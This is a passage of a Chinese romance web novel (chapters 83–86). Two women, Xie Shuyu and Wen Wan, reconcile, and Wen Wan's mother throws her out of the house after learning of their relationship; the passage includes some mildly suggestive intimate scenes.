晚上谢舒毓睡得迷迷糊糊,温晚两只手从她睡衣下摆伸进去,贴着她耳根说:“还是那么平。” 谢舒毓气醒了,凉被里抓住温晚手腕,“找事是不是。” “是。”温晚警告说你可得小心点,伤筋动骨一百天,我手还没好透,转移人注意力的同时,反捏着人手腕撩起睡裙边。 还没开始她就哼起来了,调子细细长长,自顾自动作。 谢舒毓不肯,手抽回。 温晚说“求求你了”,又谈起最近的表现,“我很乖的呀,每天都是10分。” “你现在不乖。”谢舒毓警告,再乱来她就打车走。 “打车走打车走,你就会打车走!”温晚生气了,“有本事你走路回去。” 谢舒毓掀被子要下床,温晚一把抱住她,“哎呀不要嘛,我不弄你了还不行。” 说着又好奇,“这段时间以来,你就有一点没想过那事?白天你不在家,我还可以自己解决,你怎么办呢,白天你上班,周末也没见你有什么异象,还是趁着我洗澡的时候,速战速决?” 越说越离谱,把谢舒毓都说笑了,“你脑子里就没别的事?” 温晚说“是的”。 她不勉强,松手退回原位,“你不帮我,那我自己来可以吗?” “你会打扰我。”谢舒毓感觉有点热了,脚从凉被里伸出来。 “那我不发出声音。” 温晚说完就要动手,谢舒毓猛一个翻身,把她按住,黑暗中,借窗帘缝隙里透出的微光,努力分辨她的眼睛。 “一定要这样吗?你之前怎么答应我的,你又忘了。” “那你觉得我们真的可以只是朋友吗?躺在一张床上,安安静静睡觉,什么都不做。”温晚质问,音量拔高。 “小声点!”谢舒毓捂住她的嘴。 温晚摇头挣脱开,“在发生过那么多事情之后,怎么可能永远只做普通朋友。” 她说谢舒毓你别太离谱,谁家普通朋友每周末见面床上要做上三四五六七八次。 “如果我们之间谁也没主动,什么也没发生,那我可以,只跟你做朋友,但我不能欺骗自己。” 温晚捧起她的脸,深深吻过她的嘴唇,“我喜欢你啊,我爱你啊,我想跟你做,大做特做,我清醒时候想的是你,做梦时候想的也是你,从来只有你。” “我们没办法回到过去了,只能往前走,你明白吗?” 第83章 我们是真心相爱的! 一朝被蛇咬,十年怕井绳。有阴影了,谢舒毓说:“任你舌灿莲花,我不会轻易被你蛊惑的。” 身体重重砸向床面,贴着床沿拉出半米多远,谢舒毓翻身抱紧凉被,蜷成只熟虾。 “这里的‘灿’是动词吗?”温晚忽道。 “什么?”谢舒毓微微偏了下脑袋,不明就里。 “那还是你比较会‘灿’,我都被‘灿’的。”温晚嘀咕说。 谢舒毓皱眉,半天反应过来,对着空气翻了个白眼。 “你是莲花!行了吧。”她没好气。 温晚“嘿嘿”笑,动身往旁边挪挪,从后环住她的腰。 谢舒毓霎时紧绷,温晚安抚说别怕,“我不会勉强你的,你不愿意就算了,我说过以后都会尊重你的意愿,我就抱抱你。” 说抱抱就真的只是抱抱,谢舒毓僵僵等了三五分钟,见她真没什么别的动作,才缓缓放松下来。 摊开手掌,把她手完全包裹在手心,谢舒毓轻声问道:“一直这样,你也愿意吗?” 脸颊贴在谢舒毓后背,那一小块湿湿的,温晚闭眼安静呼吸,几秒后无可奈何叹息道:“柏拉图呗。” 谢舒毓摇头,“不是柏拉图,就只是普通朋友关系。” 普通朋友会牵手、拥抱,躺一张床上睡觉吗?可能吧。 “你是不是不爱我了。”温晚心痛一瞬。 “我爱你啊,但我更害怕失去你!”谢舒毓一下攥紧她手。 “那就,是我做得不好,才让你变这样。” 温晚声音闷闷的,“你拿头撞墙的时候,左叶开车带我们去医院的路上,还有你后来在诊室跟医生谈话……那之后有好几天,我都心痛自责到恨不得去死。我一直自诩是你身边最重要,最亲近的人,但你的事我竟然一点也不知道,我不知道你生病。” 手臂动动,收得更紧,温晚脸颊左右蹭蹭,用谢舒毓的睡衣擦眼泪,“我夜里一个人躺在床上,想到可能会失去你,眼泪止也止不住,我甚至做噩梦,梦到你不在了。我哭着睡着又哭着醒来。我记得你之前打电话问过我,问我的城市有没有下雨。那段日子我的心每天都在下雨。” 吸了吸鼻子,温晚哭着说:“所以这些都是惩罚啊,我理应受到惩罚。” 按亮台灯,谢舒毓翻身坐起,床头扯了几张纸巾给温晚擦眼泪,手摸到她滚烫的脸颊,绒绒的暖光中凝视片刻,忍不住亲了亲她热热的唇,“你可别咒我呀。” 温晚拽着谢舒毓重新倒下去,抱紧她,“我不敢奢求太多,你还肯回到我身边已经很满足了。” “别说得那么可怜。”谢舒毓想逗笑她,半夜把人弄哭有点不好意思。 “我跟你说真的,你不相信我嘴里有真话吗?”温晚让谢舒毓把耳朵贴过来,听一听她的心跳,多真呐。 “没心跳你就挂了。”谢舒毓揉乱她头发。 温晚闭着眼睛不说话,手死死攥着睡衣领口,好像那里很痛。 夜晚总让人格外忧伤,这是她们在“撞墙事件”后第一次聊那么深。 温晚哭累,谢舒毓喂了她一点水,把她哄睡着,黑暗中看了她很久很久,才疲倦闭上眼睛。 手拆了支架,温晚可以简单抓握东西,但不能用力,她决定把东西都搬回来,那边房子退了。 谢舒毓陪着,她爸开车带她们过去,路上联系了搬家公司。 谢舒毓看到那双小狗拖鞋晾在阳台洗衣机上,温晚在小君穿过之后把它认认真真刷干净了。她好久没回来,又落满灰。 转身功夫拖鞋不见了,谢舒毓回头,看温晚蹲在客厅收拾垃圾桶,黑色塑料袋鼓鼓囊囊,她提起飞快跑出门去。 谢舒毓忍不住笑起来。 不生气了,她早就不生气了。 谢舒毓以前来的时候真不觉得温晚东西多,开始收拾了才知道厉害,光是衣服就装满四个大帆布口袋,更别提家电和旁的杂物。 “你是真有钱,才几年时候就买这么一堆东西。” 温晚收拾到一半,累瘫在沙发,“干脆丢了算了!” 谢舒毓大骂她败家,温晚说那家里也放不下啊。 “表姑姑也恋旧得很,以前我们住县里,她工厂发的那种先进工作者的白色搪瓷缸,现在还收在房子地下室。” “放我家。”谢舒毓把一顶冬天的白色小兔子绒绒帽罩在温晚脑袋上,手捏一下帽子两边垂下的长条,温晚头上两只粉红小耳朵立起来。 她爸在厨房拆洗碗机,温晚一把抱住谢舒毓,“东西都给你,我的要求是房产证上加我名字。” 谢舒毓手戳一下她脑门,“做梦,你一堆破烂就想骗我半套房。” “我出钱还贷。”温晚抱着谢舒毓晃,说求求了,“以后离家出走,我也有地方去啊。你那个房子买得特别好,真的,这样就算我以后真的离家出走,也能吃上表姑姑送来的热饭,当然我会分给你一起吃,我们是好朋友嘛,你说的,现在很多人都那么干,闺蜜协议买房。” 她爸攥一把螺丝刀从厨房走出来,餐桌边喝水。 “闺蜜原来是这个意思啊。” 二人齐转头。 她爸一脸天真,“哦闺蜜就是这个意思啊,我以前一直以为,闺蜜就是好朋友的意思,原来是这个意思啊。” 人变老讲话就会特别啰嗦,一直重复,她爸攥着螺丝刀回厨房继续拆洗碗机,嘴里咕咕叨叨,全是闺蜜闺蜜闺蜜。 二人再次齐转头,看向彼此,爆笑。 什么闺蜜,好朋友,骗骗自己得了。 她们做过那么亲密的事,曾经吵得那么厉害,现在又聚在一起,你抱着我,我抱着你,谁也不肯松手,到底是为什么。 温晚笑倒在沙发,谢舒毓说她像只被人一脚踹翻的乌龟。温晚说你才是乌龟,谢舒毓想了想,觉得温晚说得对。 她是胆小鬼,是缩头乌龟。 上午九点出发,晚上九点到家,那天她们累坏了,吃完饭上楼洗了澡,蒙头就睡。 谢舒毓在凉被里牵着温晚的手,悬的一颗心放下,她终于回来了,她不会再走了。 不知道是梦还是真的,搬家太累谢舒毓有点恍惚,耳边温晚她爸一直在重复“闺蜜”,跟干妈和表姑姑还有外公说,原来“闺蜜”就是女同性恋的意思。 谢舒毓觉得自己罪过大了。 距离温家五六分钟路程的另一套房子也装好了,温瑾找了朋友的装修公司,墙面地板翻新,原本的柜子全部拆掉,设计了新的组合柜,谢舒毓要想的衣帽间也单独砌出来。 温晚的东西家里放不下,全堆在谢舒毓的房子里,找阿姨做完开荒保洁,温晚趁谢舒毓上班,把自己的衣服全挂进去。 挂完她捂嘴“嘻嘻”笑两声,担心谢舒毓生气,还是给她发了张照片过去。 谢舒毓回复说得交租金,温晚捧着手机在房间里跳来跳去,傲娇怪默许的意思,她懂! 隔天下午,跟温瑾外出办事,路过家具城,温晚在车上拍了张照片给谢舒毓发过去,谢舒毓说你不等等我吗? [只是路过!]温晚赶紧解释。 她们的小家,当然要一起看家具。 温晚一路都在傻笑,温瑾在主驾位,频频扭头看她,“你乐什么呢。” “小筷子说到时候我们一起去看家具,我当然开心啦。”温晚捧着手机,消息来来回回看了好多遍。 “好闺蜜,真羡慕你们。”温瑾淡淡道。 温晚随口,“你跟表姑姑不也是好闺蜜,有啥好羡慕。” 温瑾狂摇头,“可别乱说,我们清清白白几十年。” 那天温晚给谢舒毓送完饭,下午是陪妈妈去郊区的一个工厂,车停服务区,她们上卫生间出来空地上吹风的时候,温晚坦白了。 “我们之前谈了,后来吵架分手,现在我在追她,她生气还没答应我。” 温晚觉得自己挺聪明的,把重点放在分手,关于性取向问题故意弱化了。 温瑾抱胸靠在铁围栏边,墨镜半遮脸,看不清表情。温晚有些忐忑,全家最难对付的就是妈妈,她提前拿房子铺垫,暗示如果妈妈不同意,她们就搬出去,住到谢舒毓的新房子里。 温瑾先是摘了墨镜,说“真的假的,你们真的假的”,得到肯定答案,尖叫一声,“哦原来好闺蜜是这个意思啊?” “我们是真心相爱的。”温晚不知道自己怎么会说出那种古早偶像剧里的经典台词,说完之后她脑袋里冒出个想法。 经典之所以成为经典,一定有它自己的道理。 ——“我们是真心相爱的。” 真爱还不足以感动这个顽固的老古板吗? 温瑾表现得非常意外,且异常愤怒,夸张挥舞手臂,大叫,“我白养你那么多年了,真是家门不幸啊,你竟然做出这种事情,还是跟自己的好闺蜜好朋友。” 她一直重复说“好闺蜜好闺蜜”,温晚急得直掉眼泪,拉着温瑾,说妈妈你听我解释。 “不听!” 温瑾猛一把甩开,“请你立刻马上从我的家搬出去,我没有你这样的女儿!” “小筷子人很好啊,我们从小一起长大,可以是朋友,为什么不能是恋人呢?我就是喜欢她想和她在一起,我有什么错呢……” 后来温晚给谢舒毓哭着打电话,说对不起,我不能来接你下班了。 “从工厂回来,妈妈就把我赶出家门了,她不让我进去,让我滚,呜呜呜——” 谢舒毓站在办公室外面走廊窗边听她说完,捏捏眉心,深吸一口气。 “那你住我家,我们搬出去。” 第84章 我拿你当亲生,你泡我女儿 温晚在车上劝了一路,好话歹话说尽,温瑾完全是四季豆油盐不进的状态。 好几次,二人争执,言语恶劣到极点,温晚觉得妈妈把她丢在郊区工厂,甚至是高速路边也不过分。 到底亲生的,还是把她安然无恙带回来,只是堵在门口不让进。 温晚蹲在花园树下给谢舒毓打电话,说这时候下场雨就好了,她站在雨里哭一哭,妈妈说不定会心软放她进门。 偏偏天气好得要命,夕阳余晖遍撒,世界灿烂,晚风也和煦。 谢舒毓安抚说别急,她马上就到。 温晚举着手机看了眼时间,距离谢舒毓下班还有半小时。 “你也别着急,不方便请假就等等,我没事的。” “我心里有数。”谢舒毓挂了电话。 温瑾坐在客厅沙发,重复说“气死我了气死我了”,身体跟随沙发弹簧跳来跳去。 “老头你知道吗?你外孙女在搞同性恋,还是跟小筷子,你看着长大的小筷子!” 老头反应淡淡的,说:“九零年那会儿,世界卫生组织,就那个那个,那个宣布说,同性恋不是精神疾病了,我们国家呢是到零一年,那个那个,移除的……” 温瑾说然后呢? “然后。”老头咂咂嘴,喝了口茶,“到现在二十多年,二十年什么概念,二十年前,我们家饼店门口那条路,还是那个,黄泥巴路。” 他一个巴掌伸出来,一根手指在上面敲,“既然已经有明确的法律法规,来说明这个事情,那肯定就是有专家研究过的,难道你比专家还懂?” 外公特别相信专家,只要是专家说的,都是对的。 他浑身摸遍,找到手机,老花镜拿出来戴上,开始在短视频平台搜索相关内容。 老头耳力渐衰,手机音量从来都是按到顶,他点开其中一个,慷慨激昂的音乐声响起,伴随深情Ai女声,零帧起手,开局灵魂质问:“你是同性恋吗?你知道什么是同性恋吗?据研究表明,每十个人里面就有三个人是同性恋吧啦吧啦……” 旁边表姑姑和温晚她爸也跟着劝,说你反应太大了,瞅把孩子吓的。 “你们都知道了?”温瑾眼珠一转,“我反应大,你们乍然听到这种事情,难道真的一点反应也没有。” “这个嘛……” 表姑姑是家里第一个知道她们关系的,门打开,两个人抱在一起亲得难分难舍,确实把她吓不轻。 之后呢,第二反应,是替她们隐瞒,担心温瑾发现。她对小孩一直都挺溺爱。 恐惧战胜震惊是一方面,另一方面,因为那人是谢舒毓。 近水楼台,日久生情,理所当然的事情嘛。 “小筷子是好孩子,两家人知根知底,总比外面那些不知道来路人品的阿猫阿狗强。而且老头子刚才不也说了,合法的。” 长舒一口气,擦把额头虚汗,温晚她爸坐下说:“还是大姐明事理。” 他可急死了,生怕没人帮忙,就他一个怎么敌得过家里这头母狮子。 “那是,肯定得明事理啊,人年纪大跟不上社会节奏,你可以不赞同,但不能不尊重。”表姑姑说。 温瑾眉一竖眼一瞪,“你说谁年纪大,谁跟不上社会节奏,我成天在外面跑生意,谈客户,我跟不上社会节奏?” “虽然我只是一个家庭主妇,但不代表我目光短浅,你出去跑生意,你就了不起啊,谁给你洗衣做饭,揉肩捏腿,这个家我功劳也不小我告诉你,离了我,你们谁也转不了!” 表姑姑一屁股坐沙发,也开始摆架子,论资格。 “这个家,我同样有话语权!” “你们都有话语权。”她爸开心竖指,想到一个好主意,“我们来举手表决,少数服从多数。” 温瑾说软饭男没资格说话。 外公手机短视频最后一句,“不管怎么样,我们每个人都有追求自己幸福的权利。” 手机继续循环播放,质问:“你是同性恋吗?” “视频有好几十万的小红心和点赞。”外公说:“很多老铁还是表示支持的。” 温瑾莫名想笑。 谢舒毓说家里有急事,张姐痛快放她走,她下楼打车,飞速往家赶,进门看到温晚蹲在花园树下玩泥巴。 “到底怎么回事。”谢舒毓拉她起来,先到旁边浇花的水龙头那洗手。 温晚嘴一瘪就要哭,“妈妈不同意我们。” “怎么会,我们现在也没在一起啊。”谢舒毓皱眉说。 温晚更委屈了,“可我以后也不会喜欢别人,更不可能跟男的结婚,妈妈说家门不幸,还说我是败类,要赶我走,现在连门也不让我进。” 她说着说着眼泪掉下来,觉得自己好可怜。 “你不要我,妈妈也不要我,我该怎么办,我只是喜欢一个人,我到底做错了什么。” 横臂擦过眼睛,温晚越说越伤心,人生简直没活头。 谢舒毓心里许多的困惑暂时顾不上,翻出包纸给她擦脸。 “别哭了,我去帮你说。” 温晚抽抽搭搭拽着人袖子问你要说什么,眼底微光闪烁,殷殷期盼。 谢舒毓想了想,“要赶出家门可以,至少让我们收拾下东西。” 那光霎时灭了,温晚松开手,蹲到地上。 非常理性了,理性得让人绝望。 谢舒毓敲门,表姑姑赶紧跑去开,门缝里肃着脸给她使个眼色,表示现在形势非常严峻。 “主事的来了!”温晚她爸大喊:“快快进屋。” 温瑾仰靠沙发背,环胸翘脚,下巴尖朝前,女王姿态。 “干妈。”谢舒毓走到她面前,手脚僵僵,也不知道该说些什么。 她跟温晚确实谈过,虽然已经分手,现在东窗事发温晚遭难,她不能丢下不管。 说什么都是多余。 “那温晚我先带走了,我上楼收拾收拾东西,我们马上就走。” 她只能这么办。 “哎呦喂,这算啥嘛!”表姑姑急得直拍大腿。 温瑾叫住谢舒毓,“意思你们铁了心要跟我作对?” 谢舒毓已经走到楼梯口,闻言转身,“干妈,我跟小碗没有跟你作对,我们就是互相喜欢,很简单的一件事,跟大多数异性恋没什么分别。” “你们不是分手了?”温瑾问道。 谢舒毓回答说:“是分手了,但性取向是不能轻易改变的,温晚以后还是会喜欢上别的女生。” “那可说不好。” 温瑾哼哼笑,“万一她只是喜欢你呢,只因为是你,不管你是什么性别她都喜欢。既然你们已经分手,说明你不喜欢她,那我必须要为她考虑,帮助她渡过眼前的难关,这样她以后才能找到一个真正爱她的人,靠谱的人,然后组建自己的家庭。” 手握紧围栏扶手,谢舒毓有点生气了,“干妈什么意思,因为我是女生就不靠谱了吗?我不能给她带来幸福,不能跟她组建家庭吗?” “欸,你这人真奇怪。” 温瑾起身,手指一下,“你们还是好朋友好闺蜜呢,世上哪有你这样的。你不能带给她幸福,还不许人家追寻幸福了。” “不是只有跟男的结婚生子才叫幸福!”谢舒毓忍不住大声,比跟她亲妈吵架还气愤。 猛一挥臂,温瑾朝她快走几步,“我跟你干爸就很幸福,你表姑姑也幸福,我们这个大家庭每个人都生活得很幸福!” 担心打起来,表姑姑赶紧拦下,“小筷子你先上楼,快少两说两句了。” 谢舒毓跑到二楼,手撑围栏朝下喊:“我从前一直以为,干妈讲理又开明,我看走眼了!” “你还知道我是你干妈,我拿你当亲生的养,你泡我女儿!”温瑾尖声回。 跑进温晚房间,谢舒毓找了个大书包,洗漱台一堆东西扫进去,还有她的笔电和画板。 收拾好,她拎着包下楼,温瑾坐在那指着她,“什么时候想清楚了,什么时候回来。” “想不清楚,不回来了!”谢舒毓包往肩上一甩,冲出门牵起温晚,“我们走。” 表姑姑追到花园门口,“等等我呀!” 温晚哭得上气不接下气,谢舒毓紧紧牵住她。 出现共同敌人,她们以前那些事就都不重要了,两人瞬间黏合到一起,锁死,焊死。 表姑姑也愁,直叹气,说事情还是太突然了。 “你们妈妈这个人,她有时确实蛮横,但这些年,她一个人撑起这个家,也不容易,是很多人和事把她逼成这样,她或许并非不能接受,只是习惯了这种处事和说话方式。表姑姑会帮你们的,她接受只是时间问题,不会真把你们赶出家门。” “小筷子你也真是的。”表姑姑轻推她一把,“说两句软乎的就那么难?非跟她吵。” “本来就是嘛。” 谢舒毓离家出走惯了的,无所谓,“不行就算,以后我跟小碗住,反正我买了房。” 表姑姑竖起大拇指,“买房就是了不起哈。” 之前老说打车走打车走,这次是真打车走了。 新房子还没有床,谢舒毓先带温晚回宿舍,左手一只大包,右手一只小碗。 出租车上,温晚靠在车窗无声流眼泪,谢舒毓揽过她身体,把她脑袋按在肩膀。 “我们分手以后,我觉得还有妈妈,表姑姑,家和工作,现在妈妈不要我了,工作没了,你也……” 温晚双手捂住脸,痛哭,伤心极了,“我真是一个特别糟糕特别失败的人,我搞砸了一切,没有人喜欢我了。” “你不是!”谢舒毓想告诉温晚,你不是,可该怎么安慰才是最有效的。 “我没不要你。” 她木着一张脸,“我没说不要你。” 第85章 “都是经历。” 她们认识第一天,谢舒毓就觉得温晚是那种特别好养的小孩。 睡眠好,吃饭香,能跑会跳,皮肤软弹,心里从来不装事儿,高兴了哈哈笑,伤心了哇哇哭,生气一屁股坐地上,给颗糖就乖乖爬起来。 谢舒毓以为那句“我没不要你”可以哄好她的。 她洗完澡躺在床上,用凉被把自己裹成一只毛毛虫,身体小幅度颤动,又在偷偷哭。 “起来吃点东西吧。”谢舒毓隔着被子拍拍她。 她在被子里摇头,说“不想吃”。 “烧烤呢?”谢舒毓从缝隙里刨出她的一只耳朵,轻轻捏一捏耳垂,“我知道附近有家开了好几年的小店,我带你去,我们顺道在楼下散散步。夏夜晚风,想象一下是不是特别美好。” “我洗完澡了。”她声音嗡嗡的。 “没关系呀,回来换身衣服就是。”谢舒毓试着去抱她,她挣扎说“不去”。 反应这么大吗?谢舒毓有点怀疑她是不是装的。 但之后两天,温晚似乎真的对这个世界完全失去兴趣,不出门不下楼,甚至不吃饭。 连隔壁乌玫都忍不住跑过来,想弄清楚她到底发生什么事。 “她妈妈,也就是我干妈,不同意我们在一起。”谢舒毓回答。 “可是……”乌玫挠头,“也不应该这个反应啊,你们现在已经在一起了,两个人在一起,同心协力,不就够了?” 是啊,两个人在一起,同心协力就够了。 “那如果不是一条心呢?”温晚坐在床上玩抓大鹅,每次颠锅的时候,身体都配合扭动出怪异的姿势。 谢舒毓贴着床沿坐下,手臂挨上她被子里的腿,她往里躲了躲。 “如果你只是可怜我,觉得我被赶出家门很惨才同意和好,那这种爱我不要。” 说这句的时候温晚还在颠锅,身体动作夸张,面上一潭死水。 她说我不要你可怜,谢舒毓皱眉盯着她看了很久。 晚上睡觉,在熄灯后的房间,谢舒毓从后面抱住她,“我对你是什么感情你还不知道吗?” 温晚很喜欢她们之间发生肢体接触,床上习惯一条腿半折靠在谢舒毓大腿,睡前仪式是腿贴腿开心蹭蹭。 现在她真成了尊木乃伊,长袖睡衣睡裤裹得严严实实,规矩躺在自己的位置,要么就是蜷起来,屁股对着人,谢舒毓开玩笑说像屎壳郎抱着自己的粪球…… 她也不笑。 “以前知道,现在不知道。” 温晚一根一根掰开谢舒毓的手指,“爱一个人,真的可以完全忍耐住欲望吗?如果你对我只是那种知根知底,亲人般愿意搭伙过日子的感情,我不要。” 谢舒毓顿时气笑,“你会跟自己的亲姐妹接吻吗?” “我不会,但每次都是我主动亲你,你表现得特别无奈,被人强迫又不好拒绝的样子。” 温晚说她现在回想起三十岁生日前后发生的那些事,觉得自己像个小丑。 “傅明玮送花来,你骂我,说我的床不干净,不要睡床,我们在民宿楼下,我亲了你,你立马跑去卫生间洗嘴,我在你面前脱光光,你看都不看我一眼……” 谢舒毓躺在旁边,听她絮叨个没完,实在忍无可忍,翻身,嘴堵住她的嘴。 话是硬的,冷的,带刺伤人,一扎一个血窟窿,唇却是另外一种极端的软,混合些许牙膏的薄荷微凉,柔软的口腔四壁里沁出股甜,诱人深陷,汲取更多。 好久没接吻,她们分开以后谢舒毓再也没亲过她,温晚暂时忘了呼吸,憋气憋到胸痛,眼眶泛起湿润。 直到唇瓣分离。 空气霎时涌入肺腑,胸腔剧烈起伏,耳膜阵阵跳跃。 头脑尚在混沌,温晚听见旁边床头沉闷抽屉开关声响,谢舒毓模糊的影子分跪上方,低头忙碌后一阵俯身而来,她不禁打了个寒颤,随即被微凉的手指分拨开。 温晚起先推搡,嚷嚷“滚开滚开”,可能是因为太久没上班,整天躺着,不干活,力气变好小,怎么也推不开。 很快,她忍不住发出细弱的哼哼声,身体好像有一处开关,像水龙头,被谢舒毓掌控着,一扭开就淌得到处都是。 隔壁有人,温晚害羞,始终压抑,也矜持着,不愿轻易被驯服,声音细细的。 偏偏她软绵绵、娇滴滴最是勾人,浑身的懒肉一捏一把水。 结束,谢舒毓打开台灯,温晚精疲力竭,感觉到湿纸巾冰冰凉在她那擦来擦去,更细微处,谢舒毓指腹的温度又渗透来。 擦拭完毕,谢舒毓默不作声盯着她那处。 温晚垂眼睨着,见她弯腰在那快速亲了一下,忍不住又打个颤。 往常,担心着凉,谢舒毓会立马给她穿上衣服,要么就扯来被子严实包起。 今日一反常态,她擦完不走,就跪那看。 “干嘛?” 空调风吹得身上有点冷,温晚伸手去扯被角。 谢舒毓一把掀起,扔旁边,空调遥控器摸过来关了。 “到底干嘛!” 温晚撑身坐起,靠在床头,谢舒毓手把在她膝弯,将她重新拖来面前,仍是一言不发,只看着。 谢舒毓身上还有件白色吊带,内裤也好好穿着,温晚光溜溜躺在那,两条手臂虚架着,遮了上面没下面,前所未有的窘迫。 “你不是说你在我面前脱光了我看也不看一眼,我现在就看,好好看,认真看。” 谢舒毓说完开始上手,“我不仅要看,我还要摸,全身摸遍。” 温晚尖叫着往后躲,谢舒毓像揉面团,又像洗袜子那样按住她搓来搓去。温晚起先叫骂,然后开始“咯咯”笑,谢舒毓变成扫地机器人,扫完开始亲她,摸过的地方都亲一遍。 折腾半宿,两人都累得不行,谢舒毓倒下,温晚八爪鱼似整个黏上,贴得紧紧,还不住“啵啵”亲嘴。 每亲一下就说一句“我爱你”。 谢舒毓面无表情说:“好了,下不为例,早上起床,我们还是好朋友,记住。” 从水果硬糖变成牛奶软糖,温晚贴着谢舒毓好玩扭来扭去,“不可以,我都给你买了戒指,你要向我求婚,你必须向我求婚。” 一把攥住她手腕,谢舒毓蓦然领悟到什么,“你送我戒指那天就是在暗示我向你求婚吗?” “什么戒指。”温晚装傻。 “你没丢吧。”谢舒毓又问。 温晚摇头,实话说了,“如果你当时没有拿走另一枚,我可能会拿去丢掉。” “我就知道。”谢舒毓打了下她手背。 “你很了解我哦?!”她身体在柔软的乳胶床垫弹跳一下,“你还敢打我。” 谢舒毓给她呼呼几下,“过两天我要出差,你跟我一起吧,反正你现在不用上班,机票我来给你买,住宿我们单独开一间,我就不跟同事一起。” 温晚倒下,靠在谢舒毓怀里,手指一圈圈绕着她的头发玩,“会不会影响你的工作,虽然说现在很开放了……” “我们偷偷的,不告诉任何人。”谢舒毓说她心里有数。 温晚想起几天前被妈妈赶出家门,电话里谢舒毓也是这么说的。 她心里有数。 “等出差回来,我们一起去家具城,买床,沙发,茶几……对了还有各种电器。我的画全都可以挂起来,你的那些小玩意也不愁没地方放,我们一起装点我们的家……” 温晚闭上眼睛,听谢舒毓细细安排着她们的未来,眼泪流出,堆在鼻梁处那个小窝窝里。 “那以后你结婚了,我还可以继续住在那里吗?”她哽咽着,对感动过敏似的,开始胡言乱语。 谢舒毓配合说行啊,“一人一间卧室,谁也不打扰,你要觉得寂寞,把你老公也带过来,我按市场价收租。” 温晚哭着哭着就笑了,“你可真会算计,还要收我们房租。” 她擦了下眼睛,“那如果只有我一人呢?” “你白住。”谢舒毓说我们这么多年交情。 台灯像朵发光的小蘑菇,外面沙沙一片,好像下雨了,她们靠在一起小声有一搭没一搭说话,温晚肚子咕咕叫了几声,她终于开始觉得饿。 “我以为你要修仙呢。”谢舒毓起床开始穿裤子,“我给你煮泡面吧,我也想吃,我们好久没吃了。” 温晚自己在床上躺了会儿,东摸摸,西摸摸,觉得无聊,套上衣服打开门走到外面去。 正遇见乌玫从卫生间出来,温晚一把拉住她,“吃面!谢舒毓煮面!” 她拉着人不松手,跑去客厅,朝着厨房大声喊,让谢舒毓再多煮一包。 喊完又“啊”一声,“小蛋糕你饿了吧,你肯定饿了。” 乌玫推推眼镜,“这句不应该先问吗?” “那你饿了吗?”温晚认真发问。 乌玫摸摸肚子,“好像是有点。” 温晚跳起来,一把抱住她,“我就知道你饿了!” 她手攀在乌玫肩膀,前后摇晃,“小蛋糕你知道吗?我跟谢舒毓和好了,她说以后跟我一起过,你说得对,我们两个应该齐心协力,一起扳倒我妈。” 乌玫再次推眼镜,说听到了。 温晚愣住,“听?” “你喊那么大声,我很难听不到啊。”乌玫说。 她紧接着安抚,说没关系,她不在意,“都是经历。” 第86章 我爱你,你爱我 三人蹲在小茶几边吃面,一个用锅,一个用锅盖,一个用碗,画面相当和谐。 这是半个多月前的乌玫根本想象不到的。 “小蛋糕,你试试把煎蛋淹在泡面汤里,香死了,真的!”温晚强烈建议。 乌玫点头“嗯嗯”,照做,咬下一口煎蛋后抬头,“你为什么会给我起这样的绰号啊?” 她们一开始不是情敌来着,一个话里话外夹枪带棒,一个暗搓搓用别人的老婆发微博。 温晚说感觉,“第一次见面,你穿一条华丽的蓝白色公主裙,又是蕾丝又是蝴蝶结的,就像只小小的纸杯蛋糕,很可爱。” “啊?原来你这样想我。”乌玫有点不好意思了,“我们第一次见面,我对你其实……” 她“哈哈”笑两声,“我实话说你别生气嗷,你给我的初印象就像条美女蛇,一直在对我呲呲吐信子,吓唬我。” 温晚歪头想象,“不生气,美女蛇很酷,我喜欢。” 乌玫眨眨眼,瞅她一阵,“现在看还是美女蛇,但是精致鲜艳的迪士尼画风。” “以前是什么画风?”温晚好奇。 谢舒毓旁边默默听了半天,终于等到她发挥特长的机会。 “以前是暗黑系,哈喇子滴得两米长,牙缝里还有上顿没舔干净的人肉渣,癞皮蛇你知道吧,那嘴看起来滂臭的。” 温晚真服了,“小蛋糕你评评理,谁嘴滂臭,到底谁嘴臭?” 乌玫像只不倒翁,笑得颠来倒去。 肚皮填得满满热热,洗漱后各自回房睡觉,第二天一早,温晚八点就爬起,说要去菜市场,中午给照例给她们送饭。 谢舒毓头发乱糟糟靠在床头,看她兴致勃勃在柜子里找衣服,心里涌起一股恨。 “你为什么可以不上班。” “因为我有一个有钱的妈,不啃老浪费了。”温晚理直气壮。 “你妈现在不要你了。”谢舒毓说。 “那我还有你啊!” 温晚扑倒在床,手臂张开拥住她,“谁让我有那么一个好看又能干的老婆呢?给我买大房子住,给我做饭吃,我真是太幸福啦!” 哈哈,情绪价值拉满了。谢舒毓攥着她手腕,提醒说小心,“别崴着。” 温晚乖乖把拳头握起,“那这样我扑向你的时候,看起来很像在揍你欸?” 说完真的给人来了一拳,谢舒毓痛叫。 温晚说她根本没使力气,赶紧撩起人袖子,在打痛的地方亲亲。 “脸也痛。”谢舒毓说。 温晚于是亲了亲她的脸。 “嘴痛。”谢舒毓又说。 温晚啵了下她的嘴。 “屁股痛。”谢舒毓忍不住笑。 温晚看着她。 “脚底板痛。”谢舒毓笑出声。 本来以为要挨揍,没成想下一秒温晚就瘪了嘴,“妈妈都不要我了,你还欺负我。” “哎呀!”谢舒毓赶紧把她抱在怀里摸摸头,“没关系的,我妈也不要我了,可那又怎么样,不妨碍我健康快乐,每天吃饱喝足。” 温晚摇头,“现在是你不要她了。” “是,迟来的深情比草轻。” 谢舒毓说:“而且我不觉得那是爱,准确来说是愧疚,隐藏在强烈控制欲之下的虚伪示好。 她爸和她弟偶尔给她发消息,她从来没回复过。 “要真有什么要紧事,生病了,摔跤了,他们给我打电话,我会回去的。但那些假惺惺的问候就不必了。” 说完谢舒毓有些不确定道:“小碗,你会觉得我是个狼心狗肺,薄情寡义的人吗?” 温晚认真想了想,摇头,“我觉得人与人之间,产生分歧是很正常的一件事。就拿我来举例,虽然现在妈妈不同意我们在一起,但我并不会因此怀疑她对我的爱,她仍然是我的底气。你不想跟家里来往,是因为他们从来只会伤害你,没有提供足够的爱用以抵消。” 她身体放松,完全倒下去,脸颊贴在谢舒毓心口,“我们呢,之所以到现在都没走散,就是因为爱,我很爱你,你也很爱我,爱会消磨,但也会不停生长,像一棵树,冬天落叶,春天发芽。” 说完冲人挤挤眼睛,“你觉得我说得对吗?嗯嗯?” 谢舒毓揪住她两边腮帮子,“真会说,你可真会说。” “当然。”温晚爬起,得意叉腰,“我可不像有些人,说人家是癞皮蛇。” 谢舒毓大笑。 温晚中午给杂志社上班的两个人带饭,乌玫这次不跑了,老老实实坐下来一块吃。 